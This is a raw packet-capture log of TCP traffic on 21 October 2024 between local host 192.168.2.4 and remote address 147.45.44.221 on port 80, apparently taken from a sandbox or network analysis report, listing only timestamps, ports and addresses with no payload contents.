Oct 21, 2024 08:47:29.974625111 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974653959 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974662066 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974689007 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974699974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974721909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974730015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974757910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.974766016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.974801064 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.989911079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.989974976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990158081 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990185976 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990242958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990279913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990308046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990339994 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990360975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990360975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990360975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990360975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990360975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990372896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990381956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990411997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990431070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990463972 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990856886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990885973 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990907907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990917921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990921974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990952969 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.990968943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.990991116 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991008043 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991030931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991049051 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991066933 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991084099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991102934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991118908 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991134882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991151094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991174936 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991189003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991216898 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991233110 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991256952 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991269112 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991303921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991313934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991343975 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991355896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991405964 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991420984 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991465092 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991473913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991508961 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991516113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991542101 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991552114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991576910 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991585016 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991610050 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991616011 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991652012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991662025 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991693974 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991704941 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991734982 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991749048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991777897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991790056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991825104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991851091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991902113 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991902113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991935015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.991949081 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991976976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.991990089 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992036104 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992041111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992075920 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992086887 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992109060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992120028 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992146969 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992157936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992191076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992204905 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992229939 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992242098 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992275953 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992285967 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992310047 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992320061 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992347956 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992362022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992397070 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992409945 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992436886 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992446899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992484093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992494106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992523909 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992525101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992562056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992579937 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992624998 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992634058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992677927 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992688894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992717028 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992731094 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992750883 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992759943 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992790937 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992801905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992835045 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992846012 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992876053 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992886066 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992925882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.992935896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992990017 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.992997885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993031979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993045092 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993092060 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993096113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993129015 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993141890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993168116 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993180990 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993225098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993232965 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993267059 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993283987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993307114 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993321896 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993355989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993367910 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993392944 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993396997 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993427038 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993436098 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993458986 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993469000 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993499994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993520975 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993558884 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993571997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993613958 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993621111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993665934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993671894 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993700981 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993716002 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993738890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993752003 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993784904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993794918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993817091 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993824959 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993850946 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993863106 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993885040 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993894100 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993921041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993930101 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993951082 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993963003 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.993985891 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.993994951 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994019985 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994023085 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994054079 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994061947 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994090080 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994095087 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994123936 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994133949 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994158983 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994163990 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994190931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994199991 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994225979 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994230986 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994260073 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994268894 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994294882 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994302988 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994327068 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994335890 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994360924 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994371891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994395971 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994405985 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994431019 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994436979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994465113 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994473934 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994499922 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994505882 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994533062 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994539976 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994568110 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994574070 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994601011 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994607925 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994633913 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994633913 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994667053 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994678974 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994704962 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994709015 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994739056 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994745970 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994771004 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994777918 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994803905 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994816065 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994839907 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994847059 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994874954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994882107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994909048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994915009 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994942904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994950056 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.994976997 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.994983912 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.995009899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.995022058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.995043993 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.995049953 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.995079041 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.995080948 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.995111942 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:29.995124102 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:29.995152950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.093748093 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093760967 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093776941 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093786955 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093801022 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093812943 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093817949 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093827009 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093838930 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093849897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093859911 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093868971 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.093879938 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093892097 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093902111 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093909979 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.093911886 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093924046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.093933105 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.093950987 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.093991041 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.109734058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.109745026 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.109760046 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.109770060 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.109782934 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.109792948 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.109803915 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.109813929 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.109884024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.109973907 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110251904 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110261917 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110271931 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110304117 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110326052 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110430002 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110449076 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110457897 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110481024 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110515118 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110526085 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110568047 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110613108 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110636950 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110649109 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110658884 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110661030 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110670090 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110675097 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110682964 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110694885 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110694885 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110704899 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110717058 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110735893 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110750914 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110938072 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110955954 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110966921 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.110985994 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.110999107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111016989 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111027956 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111032963 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111058950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111082077 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111103058 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111113071 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111124039 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111150026 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111174107 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111191034 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111201048 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111211061 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111222029 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111232996 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111233950 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111260891 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111274958 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111278057 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111287117 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111298084 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111320019 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111344099 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111566067 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111615896 CEST	49732	80	192.168.2.4	147.45.44.221
Oct 21, 2024 08:47:30.111648083 CEST	80	49732	147.45.44.221	192.168.2.4
Oct 21, 2024 08:47:30.111658096 CEST	80	49732	147.45.44.221	192.168.2.4
